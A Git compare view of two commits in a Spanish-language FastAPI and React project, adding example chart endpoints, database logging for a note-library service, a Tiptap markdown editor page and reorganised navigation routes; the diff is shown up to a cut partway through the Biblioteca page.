Compare commits
2 Commits
cf6a768f6b
...
e1b756ac99
| Author | SHA1 | Date | |
|---|---|---|---|
| e1b756ac99 | |||
| 628cddc3ae |
@@ -0,0 +1,57 @@
|
|||||||
|
from fastapi import APIRouter
|
||||||
|
|
||||||
|
router = APIRouter()
|
||||||
|
|
||||||
|
@router.get("/bar")
|
||||||
|
def get_bar_chart():
|
||||||
|
return {
|
||||||
|
"xAxis": {"type": "category", "data": ["Ene", "Feb", "Mar", "Abr"]},
|
||||||
|
"yAxis": {"type": "value"},
|
||||||
|
"series": [{"data": [5, 20, 36, 10], "type": "bar"}]
|
||||||
|
}
|
||||||
|
|
||||||
|
@router.get("/line")
|
||||||
|
def get_line_chart():
|
||||||
|
return {
|
||||||
|
"xAxis": {"type": "category", "data": ["Semana 1", "Semana 2", "Semana 3", "Semana 4"]},
|
||||||
|
"yAxis": {"type": "value"},
|
||||||
|
"series": [{"data": [15, 25, 18, 30], "type": "line"}]
|
||||||
|
}
|
||||||
|
|
||||||
|
@router.get("/pie")
|
||||||
|
def get_pie_chart():
|
||||||
|
return {
|
||||||
|
"tooltip": {"trigger": "item"},
|
||||||
|
"legend": {"top": "5%", "left": "center"},
|
||||||
|
"series": [{
|
||||||
|
"name": "Accesos",
|
||||||
|
"type": "pie",
|
||||||
|
"radius": ["40%", "70%"],
|
||||||
|
"avoidLabelOverlap": False,
|
||||||
|
"itemStyle": {"borderRadius": 10, "borderColor": "#fff", "borderWidth": 2},
|
||||||
|
"label": {"show": False, "position": "center"},
|
||||||
|
"emphasis": {
|
||||||
|
"label": {"show": True, "fontSize": 16, "fontWeight": "bold"}
|
||||||
|
},
|
||||||
|
"labelLine": {"show": False},
|
||||||
|
"data": [
|
||||||
|
{"value": 1048, "name": "Search"},
|
||||||
|
{"value": 735, "name": "Direct"},
|
||||||
|
{"value": 580, "name": "Email"},
|
||||||
|
{"value": 484, "name": "Union Ads"},
|
||||||
|
{"value": 300, "name": "Video Ads"}
|
||||||
|
]
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
|
||||||
|
@router.get("/scatter")
|
||||||
|
def get_scatter_chart():
|
||||||
|
return {
|
||||||
|
"xAxis": {},
|
||||||
|
"yAxis": {},
|
||||||
|
"series": [{
|
||||||
|
"symbolSize": 20,
|
||||||
|
"data": [[10, 8], [20, 20], [30, 10], [40, 30], [50, 15]],
|
||||||
|
"type": "scatter"
|
||||||
|
}]
|
||||||
|
}
|
||||||
@@ -8,6 +8,10 @@ from backend.db.conexion import get_conexion
|
|||||||
from backend.services.text_manager_srvc import *
|
from backend.services.text_manager_srvc import *
|
||||||
from src.ConexionSql.Postgres_conexion import PostgresConexion
|
from src.ConexionSql.Postgres_conexion import PostgresConexion
|
||||||
|
|
||||||
|
from entrypoint.init_db import db_credencial
|
||||||
|
from src.Logger.logger_db import LoggerDB, logger
|
||||||
|
LoggerDB(db_credencial, "logger_textos", created_by="sistema")
|
||||||
|
|
||||||
router = APIRouter()
|
router = APIRouter()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,10 @@
|
|||||||
# backend/api/router.py
|
# backend/api/router.py
|
||||||
|
|
||||||
from fastapi import APIRouter
|
from fastapi import APIRouter
|
||||||
from backend.api.v1.endpoints import ping, text_manager_endpoint
|
from backend.api.v1.endpoints import ping, text_manager_endpoint, charts_examples as charts
|
||||||
|
|
||||||
|
|
||||||
router = APIRouter()
|
router = APIRouter()
|
||||||
router.include_router(ping.router, prefix="/api/v1/ping")
|
router.include_router(ping.router, prefix="/api/v1/ping")
|
||||||
router.include_router(text_manager_endpoint.router, prefix="/api/v1/text_manager")
|
router.include_router(text_manager_endpoint.router, prefix="/api/v1/text_manager")
|
||||||
|
router.include_router(charts.router, prefix="/api/v1/charts")
|
||||||
|
|||||||
@@ -8,46 +8,48 @@ from src.TextManager.notas_mmr import generar_tabla_nota_para_biblioteca, NotaRe
|
|||||||
from sqlalchemy import MetaData
|
from sqlalchemy import MetaData
|
||||||
from backend.schemas.text_manager_schema import NotaInput
|
from backend.schemas.text_manager_schema import NotaInput
|
||||||
|
|
||||||
|
from entrypoint.init_db import db_credencial
|
||||||
|
from src.Logger.logger_db import LoggerDB, logger
|
||||||
|
LoggerDB(db_credencial, "logger_textos", created_by="sistema")
|
||||||
|
|
||||||
def crear_biblioteca(nombre_biblioteca: str, conexion: PostgresConexion, descripcion: str = None):
|
def crear_biblioteca(nombre_biblioteca: str, conexion: PostgresConexion, descripcion: str = None):
|
||||||
print("[INICIO] Creando biblioteca...")
|
logger.info("[INICIO] Creando biblioteca...")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
print("[Paso 1] Obteniendo credencial...")
|
logger.info("[Paso 1] Obteniendo credencial...")
|
||||||
cred_repo = OpenAICredencialRepo(conexion)
|
cred_repo = OpenAICredencialRepo(conexion)
|
||||||
credencial = cred_repo.get_by_id("OPAK20250513-61b29978b7604031014")
|
credencial = cred_repo.get_by_id("OPAK20250513-61b29978b7604031014")
|
||||||
print("[OK] Credencial obtenida:", credencial.titulo if credencial else "❌ None")
|
logger.debug(f"[OK] Credencial obtenida: {credencial.titulo if credencial else '❌ None'}")
|
||||||
|
|
||||||
print("[Paso 2] Instanciando embedder...")
|
logger.info("[Paso 2] Instanciando embedder...")
|
||||||
embedder = OpenAIEmbedder(credencial, model="text-embedding-3-large")
|
embedder = OpenAIEmbedder(credencial, model="text-embedding-3-large")
|
||||||
print("[OK] Embedder instanciado")
|
logger.debug("[OK] Embedder instanciado")
|
||||||
|
|
||||||
print("[Paso 3] Instanciando biblioteca...")
|
logger.info("[Paso 3] Instanciando biblioteca...")
|
||||||
biblioteca = Biblioteca(
|
biblioteca = Biblioteca(
|
||||||
nombre=nombre_biblioteca,
|
nombre=nombre_biblioteca,
|
||||||
embedder=embedder,
|
embedder=embedder,
|
||||||
descripcion=descripcion
|
descripcion=descripcion
|
||||||
)
|
)
|
||||||
print(f"[OK] Biblioteca instanciada con ID: {biblioteca.id}")
|
logger.debug(f"[OK] Biblioteca instanciada con ID: {biblioteca.id}")
|
||||||
|
|
||||||
print("[Paso 4] Guardando en base de datos...")
|
logger.info("[Paso 4] Guardando en base de datos...")
|
||||||
repo = BibliotecaRepo(conexion)
|
repo = BibliotecaRepo(conexion)
|
||||||
repo.add(biblioteca=biblioteca)
|
repo.add(biblioteca=biblioteca)
|
||||||
print("[OK] Biblioteca guardada")
|
logger.success("[OK] Biblioteca guardada")
|
||||||
|
|
||||||
print("[Paso 5] Generando modelo de notas...")
|
logger.info("[Paso 5] Generando modelo de notas...")
|
||||||
biblioteca.generar_modelo_notas(conexion)
|
biblioteca.generar_modelo_notas(conexion)
|
||||||
print("[OK] Modelo de notas generado")
|
logger.success("[OK] Modelo de notas generado")
|
||||||
|
|
||||||
print("[FIN] Biblioteca creada correctamente")
|
logger.success("[FIN] Biblioteca creada correctamente")
|
||||||
return {
|
return {
|
||||||
"mensaje": f"Biblioteca '{nombre_biblioteca}' creada con éxito.",
|
"mensaje": f"Biblioteca '{nombre_biblioteca}' creada con éxito.",
|
||||||
"id": biblioteca.id
|
"id": biblioteca.id
|
||||||
}
|
}
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print("[ERROR] Ocurrió una excepción:", str(e))
|
logger.exception("[ERROR] Ocurrió una excepción:")
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
|
||||||
@@ -64,6 +66,7 @@ def listar_bibliotecas(conexion: PostgresConexion) -> list[dict]:
|
|||||||
for b in bibliotecas
|
for b in bibliotecas
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
def agregar_nota_a_biblioteca(
|
def agregar_nota_a_biblioteca(
|
||||||
conexion: PostgresConexion,
|
conexion: PostgresConexion,
|
||||||
biblioteca_id: str,
|
biblioteca_id: str,
|
||||||
@@ -73,25 +76,19 @@ def agregar_nota_a_biblioteca(
|
|||||||
conexiones: list[str] = None,
|
conexiones: list[str] = None,
|
||||||
resumen: str = ""
|
resumen: str = ""
|
||||||
):
|
):
|
||||||
|
|
||||||
# Obtener la biblioteca
|
|
||||||
repo_biblioteca = BibliotecaRepo(conexion)
|
repo_biblioteca = BibliotecaRepo(conexion)
|
||||||
biblioteca = repo_biblioteca.get_by_id(biblioteca_id)
|
biblioteca = repo_biblioteca.get_by_id(biblioteca_id)
|
||||||
if biblioteca is None:
|
if biblioteca is None:
|
||||||
raise ValueError(f"No se encontró la biblioteca con ID {biblioteca_id}")
|
raise ValueError(f"No se encontró la biblioteca con ID {biblioteca_id}")
|
||||||
|
|
||||||
# Crear objeto Nota
|
|
||||||
nota = Nota(
|
nota = Nota(
|
||||||
titulo=titulo,
|
titulo=titulo,
|
||||||
texto=texto,
|
texto=texto,
|
||||||
tags=tags or [],
|
tags=tags or [],
|
||||||
conexiones=conexiones or [],
|
conexiones=conexiones or [],
|
||||||
resumen=resumen or "",
|
resumen=resumen or "",
|
||||||
# vector=biblioteca.embedder.embed_text(texto),
|
|
||||||
# vector_resumen=biblioteca.embedder.embed_text(resumen) if resumen else None
|
|
||||||
)
|
)
|
||||||
# Mostrar atributos seguros
|
logger.debug(
|
||||||
print(
|
|
||||||
f"[DEBUG] Nota creada: titulo='{nota.titulo}', "
|
f"[DEBUG] Nota creada: titulo='{nota.titulo}', "
|
||||||
f"texto_len={len(nota.texto)}, "
|
f"texto_len={len(nota.texto)}, "
|
||||||
f"tags={len(nota.tags)}, "
|
f"tags={len(nota.tags)}, "
|
||||||
@@ -99,7 +96,6 @@ def agregar_nota_a_biblioteca(
|
|||||||
f"resumen_len={len(nota.resumen)}"
|
f"resumen_len={len(nota.resumen)}"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Preparar tabla y modelo de nota
|
|
||||||
metadata = MetaData()
|
metadata = MetaData()
|
||||||
tabla, ModeloNota = generar_tabla_nota_para_biblioteca(
|
tabla, ModeloNota = generar_tabla_nota_para_biblioteca(
|
||||||
biblioteca.nombre,
|
biblioteca.nombre,
|
||||||
@@ -108,7 +104,6 @@ def agregar_nota_a_biblioteca(
|
|||||||
)
|
)
|
||||||
metadata.create_all(conexion.get_engine())
|
metadata.create_all(conexion.get_engine())
|
||||||
|
|
||||||
# Guardar la nota
|
|
||||||
repo_nota = NotaRepo(conexion.get_session(), ModeloNota)
|
repo_nota = NotaRepo(conexion.get_session(), ModeloNota)
|
||||||
nota_id = repo_nota.add(nota)
|
nota_id = repo_nota.add(nota)
|
||||||
|
|
||||||
@@ -117,7 +112,7 @@ def agregar_nota_a_biblioteca(
|
|||||||
"nota_id": nota_id
|
"nota_id": nota_id
|
||||||
}
|
}
|
||||||
|
|
||||||
print(f"[SUCCESS] {resultado['mensaje']}")
|
logger.success(f"[SUCCESS] {resultado['mensaje']}")
|
||||||
return resultado
|
return resultado
|
||||||
|
|
||||||
|
|
||||||
@@ -160,6 +155,7 @@ def eliminar_nota(conexion: PostgresConexion, biblioteca_id: str, nota_id: str)
|
|||||||
fue_eliminada = repo_nota.delete_by_id(nota_id)
|
fue_eliminada = repo_nota.delete_by_id(nota_id)
|
||||||
|
|
||||||
if fue_eliminada:
|
if fue_eliminada:
|
||||||
|
logger.success(f"Nota '{nota_id}' eliminada correctamente.")
|
||||||
return {"mensaje": f"Nota '{nota_id}' eliminada correctamente."}
|
return {"mensaje": f"Nota '{nota_id}' eliminada correctamente."}
|
||||||
else:
|
else:
|
||||||
raise ValueError(f"No se encontró la nota con ID: {nota_id}")
|
raise ValueError(f"No se encontró la nota con ID: {nota_id}")
|
||||||
@@ -186,6 +182,7 @@ def actualizar_nota(conexion: PostgresConexion, biblioteca_id: str, nota_id: str
|
|||||||
fue_actualizada = repo_nota.update(nota_id, nota_actualizada)
|
fue_actualizada = repo_nota.update(nota_id, nota_actualizada)
|
||||||
|
|
||||||
if fue_actualizada:
|
if fue_actualizada:
|
||||||
|
logger.success(f"Nota '{nota_id}' actualizada correctamente.")
|
||||||
return {"mensaje": f"Nota '{nota_id}' actualizada correctamente."}
|
return {"mensaje": f"Nota '{nota_id}' actualizada correctamente."}
|
||||||
else:
|
else:
|
||||||
raise ValueError(f"No se encontró la nota con ID: {nota_id}")
|
raise ValueError(f"No se encontró la nota con ID: {nota_id}")
|
||||||
|
|||||||
Generated
+2924
-18
File diff suppressed because it is too large
Load Diff
+11
-3
@@ -20,18 +20,25 @@
|
|||||||
"storybook:build": "storybook build"
|
"storybook:build": "storybook build"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@mantine/core": "8.0.0",
|
"@mantine/core": "^8.0.1",
|
||||||
"@mantine/hooks": "8.0.0",
|
"@mantine/hooks": "^8.0.1",
|
||||||
|
"@mantine/tiptap": "^8.0.1",
|
||||||
"@react-three/fiber": "^9.1.2",
|
"@react-three/fiber": "^9.1.2",
|
||||||
"@tabler/icons": "^3.31.0",
|
"@tabler/icons": "^3.31.0",
|
||||||
"@tabler/icons-react": "^3.31.0",
|
"@tabler/icons-react": "^3.31.0",
|
||||||
|
"@tiptap/react": "^2.12.0",
|
||||||
|
"@tiptap/starter-kit": "^2.12.0",
|
||||||
|
"@uiw/react-markdown-preview": "^5.1.4",
|
||||||
|
"@uiw/react-md-editor": "^4.0.7",
|
||||||
"axios": "^1.9.0",
|
"axios": "^1.9.0",
|
||||||
"echarts": "^5.6.0",
|
"echarts": "^5.6.0",
|
||||||
"echarts-for-react": "^3.0.2",
|
"echarts-for-react": "^3.0.2",
|
||||||
|
"marked": "^15.0.12",
|
||||||
"react": "^19.1.0",
|
"react": "^19.1.0",
|
||||||
"react-dom": "^19.1.0",
|
"react-dom": "^19.1.0",
|
||||||
"react-rnd": "^10.5.2",
|
"react-rnd": "^10.5.2",
|
||||||
"react-router-dom": "^7.4.0"
|
"react-router-dom": "^7.4.0",
|
||||||
|
"turndown": "^7.2.0"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@eslint/js": "^9.23.0",
|
"@eslint/js": "^9.23.0",
|
||||||
@@ -46,6 +53,7 @@
|
|||||||
"@types/react": "^19.0.12",
|
"@types/react": "^19.0.12",
|
||||||
"@types/react-dom": "^19.0.4",
|
"@types/react-dom": "^19.0.4",
|
||||||
"@types/three": "^0.176.0",
|
"@types/three": "^0.176.0",
|
||||||
|
"@types/turndown": "^5.0.5",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.3.4",
|
||||||
"eslint": "^9.23.0",
|
"eslint": "^9.23.0",
|
||||||
"eslint-config-mantine": "^4.0.3",
|
"eslint-config-mantine": "^4.0.3",
|
||||||
|
|||||||
+42
-13
@@ -6,34 +6,63 @@ import { Grid_Dashboard } from './pages/Grid_dashboard'; // Ajusta si está en o
|
|||||||
import { Biblioteca } from './pages/Biblioteca';
|
import { Biblioteca } from './pages/Biblioteca';
|
||||||
import { VisualizacionesRandom } from './pages/Visualizaciones_Random';
|
import { VisualizacionesRandom } from './pages/Visualizaciones_Random';
|
||||||
import { Camara_noir } from './pages/Camaras_noir';
|
import { Camara_noir } from './pages/Camaras_noir';
|
||||||
|
import EditorTest from "./pages/Editor_Test"
|
||||||
|
|
||||||
|
|
||||||
const router = createBrowserRouter([
|
const router = createBrowserRouter([
|
||||||
|
|
||||||
|
// Home Principal
|
||||||
|
|
||||||
{
|
{
|
||||||
path: '/',
|
path: '/',
|
||||||
element: <HomePage />,
|
element: <HomePage />,
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// LLMs
|
||||||
|
|
||||||
{
|
{
|
||||||
path: '/Consulta_API',
|
path: '/llms/Biblioteca',
|
||||||
element: <Consulta_API />,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
path: '/Grid_Dashboard',
|
|
||||||
element: <Grid_Dashboard />,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
path: '/Biblioteca',
|
|
||||||
element: <Biblioteca />,
|
element: <Biblioteca />,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
path: '/analytics/Visualizaciones_Random',
|
path: '/llms/editortest',
|
||||||
element: <VisualizacionesRandom />,
|
element: <EditorTest />,
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
||||||
|
// Camara
|
||||||
|
|
||||||
{
|
{
|
||||||
path: '/analytics/Camaras',
|
path: '/camara/principal',
|
||||||
element: <Camara_noir />,
|
element: <Camara_noir />,
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Experimentos
|
||||||
|
|
||||||
|
{
|
||||||
|
path: '/experiments/Consulta_API',
|
||||||
|
element: <Consulta_API />,
|
||||||
|
},
|
||||||
|
|
||||||
|
{
|
||||||
|
path: '/experiments/Grid_Dashboard',
|
||||||
|
element: <Grid_Dashboard />,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/experiments/Visualizaciones_Random',
|
||||||
|
element: <VisualizacionesRandom />,
|
||||||
|
},
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Error 404
|
||||||
|
|
||||||
{
|
{
|
||||||
path: '*',
|
path: '*',
|
||||||
element: <Error_404 />,
|
element: <Error_404 />,
|
||||||
|
|||||||
@@ -11,7 +11,9 @@ export { default as IconSettings } from './outlined/settings.svg?react';
|
|||||||
export { default as IconArrowBarLeft } from './outlined/arrow-bar-left.svg?react';
|
export { default as IconArrowBarLeft } from './outlined/arrow-bar-left.svg?react';
|
||||||
export { default as IconArrowBarRight } from './outlined/arrow-bar-right.svg?react';
|
export { default as IconArrowBarRight } from './outlined/arrow-bar-right.svg?react';
|
||||||
export { default as IconCheck } from './outlined/check.svg?react';
|
export { default as IconCheck } from './outlined/check.svg?react';
|
||||||
|
export { default as CameraPlus } from './outlined/camera-plus.svg?react';
|
||||||
|
export { default as Flask } from './outlined/flask.svg?react';
|
||||||
|
export { default as Users } from './outlined/users.svg?react';
|
||||||
|
|
||||||
// FILLED
|
// FILLED
|
||||||
export { default as IconHomeFilled } from './filled/home.svg?react';
|
export { default as IconHomeFilled } from './filled/home.svg?react';
|
||||||
|
|||||||
@@ -0,0 +1,43 @@
|
|||||||
|
/* Editor_biblioteca.css */
|
||||||
|
/* En Editor_biblioteca.css */
|
||||||
|
.tiptap {
|
||||||
|
min-height: 200px;
|
||||||
|
padding: 8px;
|
||||||
|
/* white-space: pre-wrap; */
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tiptap p {
|
||||||
|
margin: 0 !important;
|
||||||
|
padding: 0 !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tiptap h1, .tiptap h2, .tiptap h3 {
|
||||||
|
margin-top: 0.8em;
|
||||||
|
margin-bottom: 0.4em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tiptap blockquote {
|
||||||
|
margin: 0.6em 0;
|
||||||
|
/* padding-left: 1em; */
|
||||||
|
border-left: 3px solid #888;
|
||||||
|
color: #aaa;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mantine-RichTextEditor-toolbar {
|
||||||
|
background-color: #1e1e1e; /* o el color de tu layout */
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 6px 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mantine-RichTextEditor-controlIcon {
|
||||||
|
color: white !important;
|
||||||
|
stroke: white !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mantine-RichTextEditor-control {
|
||||||
|
background-color: transparent !important;
|
||||||
|
border: none !important;
|
||||||
|
box-shadow: none !important;
|
||||||
|
}
|
||||||
@@ -7,14 +7,15 @@ import {
|
|||||||
IconHome2,
|
IconHome2,
|
||||||
IconSettings,
|
IconSettings,
|
||||||
IconUserOutline as IconUser,
|
IconUserOutline as IconUser,
|
||||||
|
CameraPlus,
|
||||||
|
Flask,
|
||||||
|
Users
|
||||||
} from '../assets/icons'; // ajusta según tu estructura de proyecto
|
} from '../assets/icons'; // ajusta según tu estructura de proyecto
|
||||||
|
|
||||||
export const mainLinksdata = [
|
export const mainLinksdata = [
|
||||||
{ icon: IconHome2, label: 'Home' },
|
{ icon: IconHome2, label: 'Home' },
|
||||||
{ icon: IconGauge, label: 'Dashboard' },
|
{ icon: Users, label: 'AgentesLLMs' },
|
||||||
{ icon: IconDeviceDesktopAnalytics, label: 'Analytics' },
|
{ icon: CameraPlus, label: 'Camera' },
|
||||||
{ icon: IconCalendarStats, label: 'Releases' },
|
{ icon: Flask, label: 'Experimentos' },
|
||||||
{ icon: IconUser, label: 'Account' },
|
|
||||||
{ icon: IconFingerprint, label: 'Security' },
|
|
||||||
{ icon: IconSettings, label: 'Settings' },
|
{ icon: IconSettings, label: 'Settings' },
|
||||||
];
|
];
|
||||||
@@ -1,35 +1,38 @@
|
|||||||
// src/data/submenuLinks.ts
|
// src/data/submenuLinks.ts
|
||||||
|
|
||||||
export const submenuLinks = {
|
export const submenuLinks = {
|
||||||
|
|
||||||
|
// Home Principal
|
||||||
|
|
||||||
Home: [
|
Home: [
|
||||||
{ label: 'Inicio', to: '/' },
|
{ label: 'Inicio', to: '/' },
|
||||||
{ label: 'Consulta Api', to: '/Consulta_API' },
|
|
||||||
{ label: 'Biblioteca', to: '/Biblioteca' },
|
|
||||||
|
|
||||||
],
|
],
|
||||||
Dashboard: [
|
|
||||||
{ label: 'Resumen', to: '/dashboard/resumen' },
|
// Experimentos
|
||||||
{ label: 'Grid_Dashboard', to: '/Grid_Dashboard' },
|
Experimentos: [
|
||||||
{ label: 'Estadísticas', to: '/dashboard/estadisticas' },
|
{ label: 'Consulta Api', to: '/experiments/Consulta_API' },
|
||||||
{ label: 'Usuarios', to: '/dashboard/usuarios' },
|
{ label: 'Visualizaciones_Random', to: '/experiments/Visualizaciones_Random' },
|
||||||
|
{ label: 'Grid_Dashboard', to: '/experiments/Grid_Dashboard' },
|
||||||
],
|
],
|
||||||
Analytics: [
|
|
||||||
{ label: 'Visualizaciones_Random', to: '/analytics/Visualizaciones_Random' },
|
// Camara
|
||||||
{ label: 'Camaras', to: '/analytics/Camaras' },
|
Camera: [
|
||||||
{ label: 'Tendencias', to: '/analytics/tendencias' },
|
{ label: 'Camara principal', to: '/camara/principal' },
|
||||||
],
|
],
|
||||||
Releases: [
|
|
||||||
{ label: 'Notas de versión', to: '/releases/notas-de-version' },
|
// LLms
|
||||||
{ label: 'Historial', to: '/releases/historial' },
|
|
||||||
],
|
AgentesLLMs: [
|
||||||
Account: [
|
{ label: 'LLMs', to: '/llms' },
|
||||||
{ label: 'Perfil', to: '/account/perfil' },
|
{ label: 'Chat', to: '/llms/chat' },
|
||||||
{ label: 'Suscripciones', to: '/account/suscripciones' },
|
{ label: 'Documentos', to: '/llms/documentos' },
|
||||||
],
|
{ label: 'Biblioteca', to: '/llms/Biblioteca' },
|
||||||
Security: [
|
{ label: 'test', to: '/llms/editortest' },
|
||||||
{ label: 'Contraseña', to: '/security/contraseña' },
|
|
||||||
{ label: '2FA', to: '/security/2fa' },
|
|
||||||
],
|
],
|
||||||
|
|
||||||
|
// Settings
|
||||||
Settings: [
|
Settings: [
|
||||||
{ label: 'Preferencias', to: '/settings/preferencias' },
|
{ label: 'Preferencias', to: '/settings/preferencias' },
|
||||||
{ label: 'Notificaciones', to: '/settings/notificaciones' },
|
{ label: 'Notificaciones', to: '/settings/notificaciones' },
|
||||||
|
|||||||
+175
-229
@@ -1,8 +1,6 @@
|
|||||||
import { useEffect, useState } from 'react';
|
import { useEffect, useState } from 'react';
|
||||||
import {
|
import {
|
||||||
AppShell,
|
|
||||||
Stack,
|
Stack,
|
||||||
Card,
|
|
||||||
Text,
|
Text,
|
||||||
Title,
|
Title,
|
||||||
ScrollArea,
|
ScrollArea,
|
||||||
@@ -10,17 +8,25 @@ import {
|
|||||||
Button,
|
Button,
|
||||||
TextInput,
|
TextInput,
|
||||||
Modal,
|
Modal,
|
||||||
Box,
|
Box
|
||||||
Loader,
|
|
||||||
Textarea
|
|
||||||
} from '@mantine/core';
|
} from '@mantine/core';
|
||||||
import { AppShellWithMenu } from '../components/Appshell/Appshell';
|
import { AppShellWithMenu } from '../components/Appshell/Appshell';
|
||||||
import axios from 'axios';
|
import axios from 'axios';
|
||||||
|
|
||||||
|
import { RichTextEditor } from '@mantine/tiptap';
|
||||||
|
import { useEditor } from '@tiptap/react';
|
||||||
|
import StarterKit from '@tiptap/starter-kit';
|
||||||
|
import '@mantine/tiptap/styles.css';
|
||||||
|
|
||||||
|
import TurndownService from 'turndown';
|
||||||
|
import { marked } from 'marked';
|
||||||
|
|
||||||
|
import '../components/Editor_biblioteca.css';
|
||||||
|
|
||||||
type Nota = {
|
type Nota = {
|
||||||
id: string;
|
id: string;
|
||||||
titulo: string;
|
titulo: string;
|
||||||
texto: string;
|
texto: string; // Markdown
|
||||||
};
|
};
|
||||||
|
|
||||||
type Biblioteca = {
|
type Biblioteca = {
|
||||||
@@ -30,30 +36,66 @@ type Biblioteca = {
|
|||||||
notas: Nota[];
|
notas: Nota[];
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const turndownService = new TurndownService({
|
||||||
|
headingStyle: 'atx',
|
||||||
|
bulletListMarker: '-',
|
||||||
|
codeBlockStyle: 'fenced',
|
||||||
|
emDelimiter: '*',
|
||||||
|
strongDelimiter: '**',
|
||||||
|
});
|
||||||
|
|
||||||
export function Biblioteca() {
|
export function Biblioteca() {
|
||||||
const [bibliotecas, setBibliotecas] = useState<Biblioteca[]>([]);
|
const [bibliotecas, setBibliotecas] = useState<Biblioteca[]>([]);
|
||||||
const [bibliotecaSeleccionada, setBibliotecaSeleccionada] = useState<Biblioteca | null>(null);
|
const [bibliotecaSeleccionada, setBibliotecaSeleccionada] = useState<Biblioteca | null>(null);
|
||||||
const [modalAbierto, setModalAbierto] = useState(false);
|
const [notaSeleccionada, setNotaSeleccionada] = useState<Nota | null>(null);
|
||||||
const [tituloNota, setTituloNota] = useState('');
|
|
||||||
const [contenidoNota, setContenidoNota] = useState('');
|
|
||||||
const [loadingNotas, setLoadingNotas] = useState(false);
|
|
||||||
const [notaEnEdicion, setNotaEnEdicion] = useState<Nota | null>(null);
|
|
||||||
const [modalEditarAbierto, setModalEditarAbierto] = useState(false);
|
|
||||||
const [modalNuevaBiblio, setModalNuevaBiblio] = useState(false);
|
const [modalNuevaBiblio, setModalNuevaBiblio] = useState(false);
|
||||||
const [nombreBiblio, setNombreBiblio] = useState('');
|
const [nombreBiblio, setNombreBiblio] = useState('');
|
||||||
const [descripcionBiblio, setDescripcionBiblio] = useState('');
|
const [descripcionBiblio, setDescripcionBiblio] = useState('');
|
||||||
const [loadingNuevaBiblio, setLoadingNuevaBiblio] = useState(false);
|
const [loadingNuevaBiblio, setLoadingNuevaBiblio] = useState(false);
|
||||||
|
|
||||||
|
|
||||||
|
const editor = useEditor({
|
||||||
|
extensions: [StarterKit],
|
||||||
|
content: '',
|
||||||
|
onUpdate: ({ editor }) => {
|
||||||
|
const html = editor.getHTML();
|
||||||
|
const markdown = turndownService.turndown(html);
|
||||||
|
setNotaSeleccionada((prev) =>
|
||||||
|
prev ? { ...prev, texto: markdown } : null
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
console.log('🟡 editor:', editor);
|
||||||
|
console.log('🟠 isDestroyed:', editor?.isDestroyed);
|
||||||
|
console.log('🟢 isEditable:', editor?.isEditable);
|
||||||
|
}, [editor]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetchBibliotecas();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!editor || !notaSeleccionada || editor.isDestroyed) return;
|
||||||
|
|
||||||
|
(async () => {
|
||||||
|
try {
|
||||||
|
const markdown = notaSeleccionada.texto;
|
||||||
|
const html = await marked.parse(markdown);
|
||||||
|
editor.commands.setContent(html);
|
||||||
|
setTimeout(() => editor.commands.focus(), 100);
|
||||||
|
} catch (err) {
|
||||||
|
console.error('❌ Error al hacer setContent:', err);
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
}, [notaSeleccionada?.id, editor]);
|
||||||
|
|
||||||
const fetchBibliotecas = async () => {
|
const fetchBibliotecas = async () => {
|
||||||
try {
|
try {
|
||||||
const res = await axios.get('/api/v1/text_manager/list');
|
const res = await axios.get('/api/v1/text_manager/list');
|
||||||
console.log('📦 Respuesta del backend:', res.data);
|
if (!Array.isArray(res.data)) return;
|
||||||
|
|
||||||
if (!Array.isArray(res.data)) {
|
|
||||||
console.error('❌ La respuesta no es un array:', res.data);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const bibliotecasConNotas = await Promise.all(
|
const bibliotecasConNotas = await Promise.all(
|
||||||
res.data.map(async (biblio: Omit<Biblioteca, 'notas'>) => {
|
res.data.map(async (biblio: Omit<Biblioteca, 'notas'>) => {
|
||||||
@@ -68,119 +110,59 @@ export function Biblioteca() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const crearBiblioteca = async () => {
|
const crearBiblioteca = async () => {
|
||||||
setLoadingNuevaBiblio(true); // 🔄 Activa el loader en el botón
|
setLoadingNuevaBiblio(true);
|
||||||
try {
|
|
||||||
// Llamada a backend
|
|
||||||
await axios.post('/api/v1/text_manager/biblioteca', {
|
|
||||||
nombre_biblioteca: nombreBiblio,
|
|
||||||
descripcion: descripcionBiblio,
|
|
||||||
});
|
|
||||||
|
|
||||||
// 🧼 Limpia formularios
|
|
||||||
setNombreBiblio('');
|
|
||||||
setDescripcionBiblio('');
|
|
||||||
|
|
||||||
// 🔒 Cierra el modal
|
|
||||||
